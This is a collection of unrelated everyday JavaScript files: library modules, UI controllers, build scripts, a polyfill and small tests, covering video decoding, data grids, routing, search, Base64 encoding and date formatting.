var assert = require('assert'); var common = require('../../common'); var cluster = common.createPoolCluster({canRetry: false}); var server = common.createFakeServer(); var connCount = 0; var poolConfig = common.getTestConfig({port: common.fakeServerPort}); cluster.add('MASTER', poolConfig); server.listen(common.fakeServerPort, function(err) { assert.ifError(err); cluster.getConnection('MASTER', function (err) { assert.ok(err); assert.equal(err.code, 'ER_ACCESS_DENIED_ERROR'); assert.equal(err.fatal, true); assert.equal(connCount, 1); cluster.end(function (err) { assert.ifError(err); server.destroy(); }); }); }); server.on('connection', function (conn) { connCount += 1; conn.deny(); });
// @flow export { default as CircularProgress } from './CircularProgress'; export { default as LinearProgress } from './LinearProgress';
JSMpeg.Decoder.Base = (function(){ "use strict"; var BaseDecoder = function(options) { this.destination = null; this.canPlay = false; this.collectTimestamps = !options.streaming; this.timestamps = []; this.timestampIndex = 0; this.startTime = 0; this.decodedTime = 0; Object.defineProperty(this, 'currentTime', {get: this.getCurrentTime}); }; BaseDecoder.prototype.connect = function(destination) { this.destination = destination; }; BaseDecoder.prototype.write = function(pts, buffers) { if (this.collectTimestamps) { if (this.timestamps.length === 0) { this.startTime = pts; this.decodedTime = pts; } this.timestamps.push({index: this.bits.byteLength << 3, time: pts}); } this.bits.write(buffers); this.canPlay = true; }; BaseDecoder.prototype.seek = function(time) { if (!this.collectTimestamps) { return; } this.timestampIndex = 0; for (var i = 0; i < this.timestamps.length; i++) { if (this.timestamps[i].time > time) { break; } this.timestampIndex = i; } var ts = this.timestamps[this.timestampIndex]; if (ts) { this.bits.index = ts.index; this.decodedTime = ts.time; } else { this.bits.index = 0; this.decodedTime = this.startTime; } }; BaseDecoder.prototype.decode = function() { this.advanceDecodedTime(0); }; BaseDecoder.prototype.advanceDecodedTime = function(seconds) { if (this.collectTimestamps) { var newTimestampIndex = -1; for (var i = this.timestampIndex; i < this.timestamps.length; i++) { if (this.timestamps[i].index > this.bits.index) { break; } newTimestampIndex = i; } // Did we find a new PTS, different from the last? If so, we don't have // to advance the decoded time manually and can instead sync it exactly // to the PTS. if ( newTimestampIndex !== -1 && newTimestampIndex !== this.timestampIndex ) { this.timestampIndex = newTimestampIndex; this.decodedTime = this.timestamps[this.timestampIndex].time; return; } } this.decodedTime += seconds; }; BaseDecoder.prototype.getCurrentTime = function() { return this.decodedTime; }; return BaseDecoder; })();
'use strict'; /** * @ngdoc function * @name inflightHubApp.controller:MainCtrl * @description * # MainCtrl * Controller of the inflightHubApp */ angular.module('inflightHubApp') .controller('MainCtrl', function () { this.awesomeThings = [ 'HTML5 Boilerplate', 'AngularJS', 'Karma' ]; });
version https://git-lfs.github.com/spec/v1 oid sha256:c4fdd080b70bb03e8f649ff90f86d76a3604a3589ce2f201730c4441edb66ec1 size 8234
'use strict'; /** * Mounts a folder in a connect server */ module.exports = function mountFolder(connect, dir) { return connect.static(require('path').resolve(dir)); };
$(function () { var form = $('#search'); var input = form.find('input'); var list = form.find('.results'); var items = list.find('a'); var selected = null; // Don't submit on return. form.on('submit', function () { return false; }); // Open search input.on('focus', function () { form.addClass('open'); }); // Close search. $(window).click(function () { form.removeClass('open'); }); form.click(function (e) { e.stopPropagation(); }); // Handle simple searching input.on('keydown', function (e) { /** * Capture the down arrow. */ if (e.which == 40) { if (selected) { /** * If we have a selection then * push to the next visible option. */ if (selected.nextAll('a:visible').length) { items.removeClass('active'); selected = selected.nextAll('a:visible').first(); selected.addClass('active'); } } else { /** * Otherwise select the first * visible option in the list. */ selected = items.filter('a:visible').first(); selected.addClass('active'); } } /** * Capture the up arrow. */ if (e.which == 38) { if (selected) { /** * If we have a selection then push * to the previous visible option. */ if (selected.prevAll('a:visible').length) { items.removeClass('active'); selected = selected.prevAll('a:visible').first(); selected.addClass('active'); } } else { /** * Otherwise select the last * visible option in the list. */ selected = items.filter('a:visible').last(); selected.addClass('active'); } } /** * Capture the enter key. */ if (e.which == 13) { if (selected) { /** * If the key press was the return * key and we have a selection * then follow the link. */ if (selected.hasClass('has-click-event') || selected.hasClass('ajax')) { selected.trigger('click'); } else { /** * If nothing is selected * there's nothing to do. */ if (!selected.length) { return false; } /** * If control or the meta key is * being held open a new window. */ if (e.ctrlKey || e.metaKey) { window.open(selected.attr('href'), "_blank"); } else { window.location = selected.attr('href'); } input.val(''); input.blur(); form.removeClass('open'); modal.find('.modal-content').append('<div class="modal-loading"><div class="active large loader"></div></div>'); } } } /** * Capture up and down arrows. */ if (e.which == 38 || e.which == 40) { // store current positions in variables var start = input[0].selectionStart, end = input[0].selectionEnd; // restore from variables... input[0].setSelectionRange(start, end); e.preventDefault(); } /** * Capture the escape key. */ if (e.which == 27) { form.removeClass('open'); items .show() .removeClass('active'); input.val('').blur(); } }); input.on('keyup', function (e) { /** * If the keyup was a an arrow * up or down then skip this step. */ if (e.which == 38 || e.which == 40) { return; } var value = $(this).val(); /** * Filter the list by the items to * show only those containing value. */ items.each(function () { if ($(this).text().toLowerCase().indexOf(value.toLowerCase()) >= 0) { $(this).show(); } else { $(this).hide(); } }); /** * If we don't have a selected item * then choose the first visible option. */ if (!selected || !selected.is(':visible')) { selected = items.filter(':visible').first(); selected.addClass('active'); } }); });
var global = require('../internals/global'); var getOwnPropertyDescriptor = require('../internals/object-get-own-property-descriptor').f; var createNonEnumerableProperty = require('../internals/create-non-enumerable-property'); var redefine = require('../internals/redefine'); var setGlobal = require('../internals/set-global'); var copyConstructorProperties = require('../internals/copy-constructor-properties'); var isForced = require('../internals/is-forced'); /* options.target - name of the target object options.global - target is the global object options.stat - export as static methods of target options.proto - export as prototype methods of target options.real - real prototype method for the `pure` version options.forced - export even if the native feature is available options.bind - bind methods to the target, required for the `pure` version options.wrap - wrap constructors to preventing global pollution, required for the `pure` version options.unsafe - use the simple assignment of property instead of delete + defineProperty options.sham - add a flag to not completely full polyfills options.enumerable - export as enumerable property options.noTargetGet - prevent calling a getter on target options.name - the .name of the function if it does not match the key */ module.exports = function (options, source) { var TARGET = options.target; var GLOBAL = options.global; var STATIC = options.stat; var FORCED, target, key, targetProperty, sourceProperty, descriptor; if (GLOBAL) { target = global; } else if (STATIC) { target = global[TARGET] || setGlobal(TARGET, {}); } else { target = (global[TARGET] || {}).prototype; } if (target) for (key in source) { sourceProperty = source[key]; if (options.noTargetGet) { descriptor = getOwnPropertyDescriptor(target, key); targetProperty = descriptor && descriptor.value; } else targetProperty = target[key]; FORCED = isForced(GLOBAL ? key : TARGET + (STATIC ? '.' : '#') + key, options.forced); // contained in target if (!FORCED && targetProperty !== undefined) { if (typeof sourceProperty == typeof targetProperty) continue; copyConstructorProperties(sourceProperty, targetProperty); } // add a flag to not completely full polyfills if (options.sham || (targetProperty && targetProperty.sham)) { createNonEnumerableProperty(sourceProperty, 'sham', true); } // extend global redefine(target, key, sourceProperty, options); } };
'use strict'; const cleanup = require('rollup-plugin-cleanup'); const common = require('rollup-plugin-commonjs'); const node = require('rollup-plugin-node-resolve'); const path = require('path'); const pkg = require('../package.json'); const rollup = require('rollup').rollup; /** * Wrap a bundled dependency for consumption by the Compiler. * @param {Object} ext Details from the `ext` object in package.json. * @return {Object} A rollup plugin. */ function wrap(ext) { return { name: 'googup', transformBundle: function(source) { let name = `ol.ext.${ext.name || ext.module}`; let postamble = ''; if (ext.import) { name += '.' + ext.import; } else { postamble = `${name} = ${name}.default;\n`; } return ` /** * @fileoverview * @suppress {accessControls, ambiguousFunctionDecl, checkDebuggerStatement, checkRegExp, checkTypes, checkVars, const, constantProperty, deprecated, duplicate, es5Strict, fileoverviewTags, missingProperties, nonStandardJsDocs, strictModuleDepCheck, suspiciousCode, undefinedNames, undefinedVars, unknownDefines, unusedLocalVariables, uselessCode, visibility} */ goog.provide('${name}'); /** @typedef {function(*)} */ ${name} = function() {}; (function() {${source}}).call(ol.ext); ${postamble}`; } }; } /** * Build all external modules. * @return {Promise} Resolves on successful completion. */ function main() { return Promise.all(pkg.ext.map(ext => { const moduleName = ext.name || ext.module; const options = { extend: true, entry: require.resolve(ext.module), dest: `${path.join(__dirname, '..', 'build', 'ol.ext', moduleName.toLowerCase())}.js`, format: 'iife', moduleName: moduleName, exports: 'named', plugins: [ node(), common(), cleanup(), wrap(ext) ] }; return rollup(options).then(bundle => bundle.write(options)); })); } if (require.main === module) { main().catch(err => { process.stderr.write(`${err.message}\n`, () => process.exit(1)); }); } module.exports = main;
var gulp = require('gulp'); var paths = require('../paths'); var tslint = require('gulp-tslint'); gulp.task('lint', function () { return gulp.src(paths.source) .pipe(tslint({ formatter: "verbose" })) .pipe(tslint.report()) });
import * as Cookies from 'js-cookie'; import axios from 'axios'; import { route } from 'preact-router'; function storeUserCredentials({ user, accessToken, expires }) { Cookies.set('crendentials', { user, accessToken }, { expires: new Date(expires) }); } export function getUserCredentials() { return Cookies.getJSON('crendentials'); } export function isAuthenticated() { const crendentials = getUserCredentials(); return !(crendentials === null || crendentials === undefined); } export function onLogin(response) { storeUserCredentials(response); route('/', true); } export function logout() { Cookies.remove('crendentials'); route('/login', true); } export function authenticate(params = {}) { axios .post(`/auth/${params.network}`, { access_token: params.access_token }) .then(response => response.data) .then(onLogin) .catch((error) => { alert('User could not login'); console.error(error); }); }
import _curry2 from './_curry2.js'; import _xfBase from './_xfBase.js'; function XDropLast(n, xf) { this.xf = xf; this.pos = 0; this.full = false; this.acc = new Array(n); } XDropLast.prototype['@@transducer/init'] = _xfBase.init; XDropLast.prototype['@@transducer/result'] = function(result) { this.acc = null; return this.xf['@@transducer/result'](result); }; XDropLast.prototype['@@transducer/step'] = function(result, input) { if (this.full) { result = this.xf['@@transducer/step'](result, this.acc[this.pos]); } this.store(input); return result; }; XDropLast.prototype.store = function(input) { this.acc[this.pos] = input; this.pos += 1; if (this.pos === this.acc.length) { this.pos = 0; this.full = true; } }; var _xdropLast = _curry2(function _xdropLast(n, xf) { return new XDropLast(n, xf); }); export default _xdropLast;
module.exports = require('regenerate')().addRange(0x10350, 0x1037A);
/* CryptoJS v3.1.2 enc-base64.js code.google.com/p/crypto-js (c) 2009-2013 by Jeff Mott. All rights reserved. code.google.com/p/crypto-js/wiki/License */ (function () { // Shortcuts var C = CryptoJS; var C_lib = C.lib; var WordArray = C_lib.WordArray; var C_enc = C.enc; /** * Base64 encoding strategy. */ var Base64 = C_enc.Base64 = { /** * Converts a word array to a Base64 string. * * @param {WordArray} wordArray The word array. * * @return {string} The Base64 string. * * @static * * @example * * var base64String = CryptoJS.enc.Base64.stringify(wordArray); */ stringify: function (wordArray) { // Shortcuts var words = wordArray.words; var sigBytes = wordArray.sigBytes; var map = this._map; // Clamp excess bits wordArray.clamp(); // Convert var base64Chars = []; for (var i = 0; i < sigBytes; i += 3) { var byte1 = (words[i >>> 2] >>> (24 - (i % 4) * 8)) & 0xff; var byte2 = (words[(i + 1) >>> 2] >>> (24 - ((i + 1) % 4) * 8)) & 0xff; var byte3 = (words[(i + 2) >>> 2] >>> (24 - ((i + 2) % 4) * 8)) & 0xff; var triplet = (byte1 << 16) | (byte2 << 8) | byte3; for (var j = 0; (j < 4) && (i + j * 0.75 < sigBytes); j++) { base64Chars.push(map.charAt((triplet >>> (6 * (3 - j))) & 0x3f)); } } // Add padding var paddingChar = map.charAt(64); if (paddingChar) { while (base64Chars.length % 4) { base64Chars.push(paddingChar); } } return base64Chars.join(''); }, /** * Converts a Base64 string to a word array. * * @param {string} base64Str The Base64 string. * * @return {WordArray} The word array. * * @static * * @example * * var wordArray = CryptoJS.enc.Base64.parse(base64String); */ parse: function (base64Str) { // Shortcuts var base64StrLength = base64Str.length; var map = this._map; // Ignore padding var paddingChar = map.charAt(64); if (paddingChar) { var paddingIndex = base64Str.indexOf(paddingChar); if (paddingIndex != -1) { base64StrLength = paddingIndex; } } // Convert var words = []; var nBytes = 0; for (var i = 0; i < base64StrLength; i++) { if (i % 4) { var bits1 = map.indexOf(base64Str.charAt(i - 1)) << ((i % 4) * 2); var bits2 = map.indexOf(base64Str.charAt(i)) >>> (6 - (i % 4) * 2); words[nBytes >>> 2] |= (bits1 | bits2) << (24 - (nBytes % 4) * 8); nBytes++; } } return WordArray.create(words, nBytes); }, _map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=' }; }());
(function ($) { /* -------- * * DOM LOAD * * -------- */ $(document).ready(function() { // Slider $('.slider').slider({full_width: true}); // Carousel $('.carousel.carousel-slider').carousel({full_width: true}); $('.carousel').carousel(); }); }(jQuery));
app.config(function($stateProvider, $urlRouterProvider) { $stateProvider //sidebar .state('news', { url: "/news", abstract: true, templateUrl: "templates/sidebar-menu.html" }) // Blog page .state('news.home', { url: "/home", cache : false, views: { 'menuWorPress' :{ templateUrl: "templates/home.html", controller: "HomeCtrl" } } }) // articles page wordpress .state('news.post', { url: "/post/:catId/:offset/:index/:type", views: { 'menuWorPress' :{ templateUrl: "templates/post.html", controller: "PostCtrl" } } }) // Blog page .state('news.categories', { url: "/categories", views: { 'menuWorPress' :{ templateUrl: "templates/categories.html", controller: "CategoriesCtrl" } } }) // Blog page .state('news.category', { url: "/category/:category/:categoryName", cache : false, views: { 'menuWorPress' :{ templateUrl: "templates/home.html", controller: "CategoryCtrl" } } }) // Blog page .state('news.search', { url: "/search", cache : false, views: { 'menuWorPress' :{ templateUrl: "templates/search.html", controller: "SearchCtrl" } } }) .state('news.settings', { url: "/settings", views: { 'menuWorPress' :{ templateUrl: "templates/settings.html", controller: "SettingsCtrl" } } }) .state('news.contact', { url: "/contact", views: { 'menuWorPress' :{ templateUrl: "templates/contact.html", controller: "ContactCtrl" } } }) .state('news.about', { url: "/about", views: { 'menuWorPress' :{ templateUrl: "templates/about.html", controller: "AboutCtrl" } } }) .state('news.admob', { url: "/admob", views: { 'menuWorPress' :{ templateUrl: "templates/admob.html", controller: "AdmobCtrl" } } }) $urlRouterProvider.otherwise("/news/home"); })
import { expect } from 'chai'; import votesReducer from './'; describe('votesReducer', () => { describe('#votesReducer()', () => { it('should increment party votes by 1', () => { const newState = votesReducer({ PARTY_CODE: 25 }, { type: 'VOTE', partyCode: 'PARTY_CODE' }); expect(newState).to.deep.equal({ PARTY_CODE: 26 }); }); }); });
var S_ITER$0 = typeof Symbol!=='undefined'&&Symbol&&Symbol.iterator||'@@iterator';var S_MARK$0 = typeof Symbol!=='undefined'&&Symbol&&Symbol["__setObjectSetter__"];function ITER$0(v,f){if(v){if(Array.isArray(v))return f?v.slice():v;var i,r;if(S_MARK$0)S_MARK$0(v);if(typeof v==='object'&&typeof (f=v[S_ITER$0])==='function'){i=f.call(v);r=[];}else if((v+'')==='[object Generator]'){i=v;r=[];};if(S_MARK$0)S_MARK$0(void 0);if(r) {while((f=i['next']()),f['done']!==true)r.push(f['value']);return r;}}throw new Error(v+' is not iterable')};var SLICE$0 = Array.prototype.slice;var $D$0; { var test11 = [1, 2, 3]; var test12 = SLICE$0.call(test11, 0); test11.push(4); console.log(test11.join("|") === "1|2|3|4", test12.join("|") === "1|2|3"); } { var test21 = SLICE$0.call(([1, 2, 3]), 0); console.log(test21.join("|") === "1|2|3"); } { var test31; test31 = SLICE$0.call(($D$0 = [1, 2, 3]), 0), $D$0; console.log(test31.join("|") === "1|2|3"); { var test321, test322, test323; test322 = (test321 = SLICE$0.call(($D$0 = test323 = [1, 2, 3]), 0), $D$0); test322.push(4); console.log(test31.join("|") === "1|2|3", test322.join("|") === "1|2|3|4", test322 === test323); } } { var test41 = [1, 2, 3]; var test42; test42 = SLICE$0.call(test41, 0), test41; test41.push(4); console.log(test41.join("|") === "1|2|3|4", test42.join("|") === "1|2|3"); { var test43 = [1, 2, 3]; var test44 = ITER$0(test43 ); console.log(test44.join("|") === "1|2|3"); } } { var test51 = [0, 1, 2, 3]; var test52, test53; test53 = test51[0], test52 = SLICE$0.call(test51, 1), test51; test51.shift(); test51.push(4); console.log(test51.join("|") === "1|2|3|4", test52.join("|") === "1|2|3"); } { var test61 = [3, 2, 1], test63 = test61; var test62 = SLICE$0.call(([test61.reverse()])[0], 0); test61.push(4); console.log(test61.join("|") === "1|2|3|4", test62.join("|") === "1|2|3", test63 === test61); } { var test71 = [3, 2, 1]; var test72 = SLICE$0.call(([test71.reverse()])[0], 0); console.log(test72.join("|") === "1|2|3"); { test72 = SLICE$0.call(($D$0 = [test71.reverse()])[0], 0), $D$0; console.log(test72.join("|") === "3|2|1"); ;$D$0 = void 0} }
$(document).ready(function() { $(".issue-list").on("click", "div", function() { $(".issue-list .selected").removeClass("selected"); $(this).addClass("selected"); }); $('[data-behaviour="issue-view"]').on("click", "button", function() { var view = "issue-" + $(this).data("view"); $(".issue-list").removeClass("issue-minimal").removeClass("issue-compact").removeClass("issue-detailed") .addClass(view); }); });
/** * ag-grid-community - Advanced Data Grid / Data Table supporting Javascript / React / AngularJS / Web Components * @version v21.1.1 * @link http://www.ag-grid.com/ * @license MIT */ "use strict"; var __decorate = (this && this.__decorate) || function (decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; }; var __metadata = (this && this.__metadata) || function (k, v) { if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v); }; Object.defineProperty(exports, "__esModule", { value: true }); var context_1 = require("../../context/context"); var componentMetadataProvider_1 = require("./componentMetadataProvider"); var utils_1 = require("../../utils"); var AgComponentUtils = /** @class */ (function () { function AgComponentUtils() { } AgComponentUtils.prototype.adaptFunction = function (propertyName, hardcodedJsFunction, componentFromFramework, source) { if (hardcodedJsFunction == null) { return { component: null, componentFromFramework: componentFromFramework, source: source, paramsFromSelector: null }; } var metadata = this.componentMetadataProvider.retrieve(propertyName); if (metadata && metadata.functionAdapter) { return { componentFromFramework: componentFromFramework, component: metadata.functionAdapter(hardcodedJsFunction), source: source, paramsFromSelector: null }; } return null; }; AgComponentUtils.prototype.adaptCellRendererFunction = function (callback) { var Adapter = /** @class */ (function () { function Adapter() { } Adapter.prototype.refresh = function (params) { return false; }; Adapter.prototype.getGui = function () { var callbackResult = callback(this.params); var type = typeof callbackResult; if (type === 'string' || type === 'number' || type === 'boolean') { return utils_1._.loadTemplate('<span>' + callbackResult + '</span>'); } else { return callbackResult; } }; Adapter.prototype.init = function (params) { this.params = params; }; return Adapter; }()); return Adapter; }; AgComponentUtils.prototype.doesImplementIComponent = function (candidate) { if (!candidate) { return false; } return candidate.prototype && 'getGui' in candidate.prototype; }; __decorate([ context_1.Autowired("componentMetadataProvider"), __metadata("design:type", componentMetadataProvider_1.ComponentMetadataProvider) ], AgComponentUtils.prototype, "componentMetadataProvider", void 0); AgComponentUtils = __decorate([ context_1.Bean("agComponentUtils") ], AgComponentUtils); return AgComponentUtils; }()); exports.AgComponentUtils = AgComponentUtils;
//>>built define("dojox/mvc/StatefulSeries",["dojo/_base/array","dojo/_base/declare","dojo/_base/lang","dojox/mvc/at"],function(_1,_2,_3,at){ return _2("dojox.mvc.StatefulSeries",null,{constructor:function(_4){ var _5=this; function _6(){ if(_5.series){ _5.series.chart.updateSeries(_5.series.name,_5); _5.series.chart.delayedRender(); } }; this._handles=[]; this.data=_1.map(_4,function(_7,_8){ if((_7||{}).atsignature=="dojox.mvc.at"){ var _9=_7.target,_a=_7.targetProp; if(_3.isString(_9)){ throw new Error("Literal-based dojox/mvc/at is not supported in dojox/mvc/StatefulSeries."); } if(_7.bindDirection&&!(_7.bindDirection&at.from)){ console.warn("Data binding bindDirection option is ignored in dojox/mvc/StatefulSeries."); } if(_a&&_3.isFunction(_9.set)&&_3.isFunction(_9.watch)){ var _b=_7.converter,_c=(_b||{}).format&&_3.hitch({target:_9,source:this},_b.format); this._handles.push(_9.watch(_a,function(_d,_e,_f){ _5.data[_8]=_c?_c(_f):_f; _6(); })); } return !_a?_9:_3.isFunction(_9.get)?_9.get(_a):_9[_a]; }else{ return _7; } },this); _6(); },destroy:function(){ for(var h=null;h=this._handles.pop();){ h.unwatch(); } },setSeriesObject:function(_10){ this.series=_10; }}); });
/* global mejs, _wpmejsSettings */ (function( window, $ ) { window.wp = window.wp || {}; // add mime-type aliases to MediaElement plugin support mejs.plugins.silverlight[0].types.push('video/x-ms-wmv'); mejs.plugins.silverlight[0].types.push('audio/x-ms-wma'); function wpMediaElement() { var settings = {}; /** * Initialize media elements. * * Ensures media elements that have already been initialized won't be * processed again. * * @since 4.4.0 */ function initialize() { if ( typeof _wpmejsSettings !== 'undefined' ) { settings = $.extend( true, {}, _wpmejsSettings ); } settings.success = settings.success || function (mejs) { var autoplay, loop; if ( 'flash' === mejs.pluginType ) { autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay; loop = mejs.attributes.loop && 'false' !== mejs.attributes.loop; autoplay && mejs.addEventListener( 'canplay', function () { mejs.play(); }, false ); loop && mejs.addEventListener( 'ended', function () { mejs.play(); }, false ); } }; // Only initialize new media elements. $( '.wp-audio-shortcode, .wp-video-shortcode' ) .not( '.mejs-container' ) .filter(function () { return ! $( this ).parent().hasClass( '.mejs-mediaelement' ); }) .mediaelementplayer( settings ); } return { initialize: initialize }; } window.wp.mediaelement = new wpMediaElement(); $( window.wp.mediaelement.initialize ); })( window, jQuery );
Ext.define('Portal.view.main.MainController', { extend: 'Ext.app.ViewController', alias: 'controller.main', onAddFeed: function () { var dashboard = this.lookupReference('dashboard'); dashboard.addNew('rss'); }, onAddFeedUrl: function (sender) { var dashboard = this.lookupReference('dashboard'); dashboard.addView({ type: 'rss', feedUrl: sender.feedUrl }); } });
function test() { waitForExplicitFinish(); var win = openDialog(getBrowserURL(), "_blank", "chrome,all,dialog=no"); win.addEventListener("load", function () { win.removeEventListener("load", arguments.callee, false); win.content.addEventListener("focus", function () { win.content.removeEventListener("focus", arguments.callee, false); win.gBrowser.selectedTab.addEventListener("TabClose", function () { ok(false, "shouldn't have gotten the TabClose event for the last tab"); }, false); EventUtils.synthesizeKey("w", { accelKey: true }, win); ok(win.closed, "accel+w closed the window immediately"); finish(); }, false); }, false); }
/* * Copyright (c) 2008-2015 CoNWeT Lab., Universidad Politécnica de Madrid * * This file is part of Wirecloud Platform. * * Wirecloud Platform is free software: you can redistribute it and/or * modify it under the terms of the GNU Affero General Public License as * published by the Free Software Foundation, either version 3 of the * License, or (at your option) any later version. * * Wirecloud is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public * License for more details. * * You should have received a copy of the GNU Affero General Public License * along with Wirecloud Platform. If not, see * <http://www.gnu.org/licenses/>. * */ /*global StyledElements*/ (function () { "use strict"; /** * @experimental * */ var Separator = function Separator() { StyledElements.StyledElement.call(this, []); this.wrapperElement = document.createElement("hr"); }; Separator.prototype = new StyledElements.StyledElement(); Separator.prototype.destroy = function destroy() { if (StyledElements.Utils.XML.isElement(this.wrapperElement.parentNode)) { StyledElements.Utils.removeFromParent(this.wrapperElement); } StyledElements.StyledElement.prototype.destroy.call(this); }; StyledElements.Separator = Separator; })();
//Nav jQuery(document).ready(function ($){ jQuery('.navbar .nav > li > a, .footer-nav > li > a').click(function(){ jQuery.scrollTo( $(this).attr("href"), { duration: 1000, easing:'easeInOutExpo' }); return false; }); }); var tpj=jQuery; tpj.noConflict(); tpj(document).ready(function() { if (tpj.fn.cssOriginal!=undefined) tpj.fn.css = tpj.fn.cssOriginal; tpj('.banner').revolution( { delay:5000, startheight:520, startwidth:1170, hideThumbs:200, thumbWidth:100, // Thumb With and Height and Amount (only if navigation Tyope set to thumb !) thumbHeight:50, thumbAmount:5, navigationType:"bullet", // bullet, thumb, none navigationArrows:"nexttobullets", // nexttobullets, solo (old name verticalcentered), none navigationStyle:"round-old", // round,square,navbar,round-old,square-old,navbar-old, or any from the list in the docu (choose between 50+ different item), custom navigationHAlign:"center", // Vertical Align top,center,bottom navigationVAlign:"bottom", // Horizontal Align left,center,right navigationHOffset:0, navigationVOffset:-30, soloArrowLeftHalign:"left", soloArrowLeftValign:"top", soloArrowLeftHOffset:20, soloArrowLeftVOffset:0, soloArrowRightHalign:"right", soloArrowRightValign:"top", soloArrowRightHOffset:20, soloArrowRightVOffset:0, touchenabled:"on", // Enable Swipe Function : on/off onHoverStop:"off", // Stop Banner Timet at Hover on Slide on/off stopAtSlide:-1, // Stop Timer if Slide "x" has been Reached. If stopAfterLoops set to 0, then it stops already in the first Loop at slide X which defined. -1 means do not stop at any slide. stopAfterLoops has no sinn in this case. stopAfterLoops:-1, // Stop Timer if All slides has been played "x" times. IT will stop at THe slide which is defined via stopAtSlide:x, if set to -1 slide never stop automatic hideCaptionAtLimit:0, // It Defines if a caption should be shown under a Screen Resolution ( Basod on The Width of Browser) hideAllCaptionAtLilmit:0, // Hide all The Captions if Width of Browser is less then this value hideSliderAtLimit:0, // Hide the whole slider, and stop also functions if Width of Browser is less than this value shadow:1, //0 = no Shadow, 1,2,3 = 3 Different Art of Shadows (No Shadow in Fullwidth Version !) fullWidth:"off" // Turns On or Off the Fullwidth Image Centering in FullWidth Modus }); });
'use strict'; const router = require('express').Router(); const middleware = require('../../middleware'); const controllers = require('../../controllers'); const routeHelpers = require('../helpers'); const { setupApiRoute } = routeHelpers; module.exports = function () { const middlewares = [middleware.ensureLoggedIn]; setupApiRoute(router, 'post', '/', [...middlewares], controllers.write.flags.create); setupApiRoute(router, 'get', '/:flagId', [...middlewares, middleware.assert.flag], controllers.write.flags.get); setupApiRoute(router, 'put', '/:flagId', [...middlewares, middleware.assert.flag], controllers.write.flags.update); setupApiRoute(router, 'post', '/:flagId/notes', [...middlewares, middleware.assert.flag], controllers.write.flags.appendNote); setupApiRoute(router, 'delete', '/:flagId/notes/:datetime', [...middlewares, middleware.assert.flag], controllers.write.flags.deleteNote); return router; };
/* @flow */ import { Module } from '../core/module'; import { Thing, SelectedThing, frameDebounce, mutex, watchForDescendants, waitForDetach } from '../utils'; export const module: Module<*> = new Module('neverEndingComments'); module.moduleName = 'necName'; module.category = 'commentsCategory'; module.description = 'necDescription'; module.options = { loadChildComments: { type: 'boolean', value: false, description: 'necLoadChildCommentsDesc', title: 'necLoadChildCommentsTitle', }, }; module.include = [ 'comments', ]; module.afterLoad = () => { const context = document.body.querySelector(module.options.loadChildComments.value ? '.nestedlisting' : '.nestedlisting > .thing.morechildren'); if (!context) return; const visibleLoaders = new Set(); const io = new IntersectionObserver(entries => { for (const { isIntersecting, target } of entries) { if (!context.contains(target)) io.unobserve(target); if (isIntersecting) visibleLoaders.add(target); else visibleLoaders.delete(target); } if (visibleLoaders.size) { window.addEventListener('scroll', loadFirst); loadFirst(); } else { window.removeEventListener('scroll', loadFirst); } // Don't load the top comments, as they may are likely above the current focused comment and may mess up scroll anchoring // also load comments that are a little beneath the viewport so this works a bit more seamlessly }, { rootMargin: '-10% 0px 10% 0px' }); // Wait a little before starting load, in case the user is just quickly scrolling through const loadFirst = frameDebounce(mutex(async () => { // Load one at a time to reduce the latency // The uppermost is loaded first, as that is likely the one the user is interested having expanded const loader = Array.from(visibleLoaders.values()).sort((a, b) => 3 - (a.compareDocumentPosition(b) & 6)) .find(e => { // Don't load any above the selected thing const thing = Thing.from(e); return !SelectedThing.current || !thing || (SelectedThing.current.getDirectionOf(thing) === 'down'); }); if (loader) { loader.click(); await waitForDetach( loader, // The load may fail new Promise(res => { setTimeout(res, 3000); }), ); loadFirst(); } }), 5); watchForDescendants(context, '.morecomments a', ele => { io.observe(ele); }); };
var Modeler = require("../Modeler.js"); var className = 'TypeInternetGatewayAttachmentType'; var TypeInternetGatewayAttachmentType = function(json, parentObj) { parentObj = parentObj || this; // Class property definitions here: Modeler.extend(className, { vpcId: { type: "string", wsdlDefinition: { name: "vpcId", type: "xs:string" }, mask: Modeler.GET | Modeler.SET, required: false }, state: { type: "string", wsdlDefinition: { name: "state", type: "xs:string" }, mask: Modeler.GET | Modeler.SET, required: false } }, parentObj, json); }; module.exports = TypeInternetGatewayAttachmentType; Modeler.register(TypeInternetGatewayAttachmentType, "TypeInternetGatewayAttachmentType");
/** * joola.io * * Copyright Joola Smart Solutions, Ltd. <info@joo.la> * * Licensed under GNU General Public License 3.0 or later. * Some rights reserved. See LICENSE, AUTHORS. * * @license GPL-3.0+ <http://spdx.org/licenses/GPL-3.0+> */ Date.prototype.format = function (formatString) { var formatDate = this; var months = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"); var yyyy = formatDate.getFullYear(); var yy = yyyy.toString().substring(2); var m = formatDate.getMonth() + 1; var mm = m < 10 ? "0" + m : m; var mmm = months[m - 1]; var d = formatDate.getDate(); var dd = d < 10 ? "0" + d : d; var h = formatDate.getHours(); var hh = h < 10 ? "0" + h : h; var n = formatDate.getMinutes(); var nn = n < 10 ? "0" + n : n; var s = formatDate.getSeconds(); var ss = s < 10 ? "0" + s : s; formatString = formatString.replace(/yyyy/i, yyyy); formatString = formatString.replace(/yy/i, yy); formatString = formatString.replace(/mmm/i, mmm); formatString = formatString.replace(/mm/i, mm); formatString = formatString.replace(/m/i, m); formatString = formatString.replace(/dd/i, dd); formatString = formatString.replace(/d/i, d); formatString = formatString.replace(/hh/i, hh); formatString = formatString.replace(/h/i, h); formatString = formatString.replace(/nn/i, nn); formatString = formatString.replace(/n/i, n); formatString = formatString.replace(/ss/i, ss); formatString = formatString.replace(/s/i, s); return formatString; };
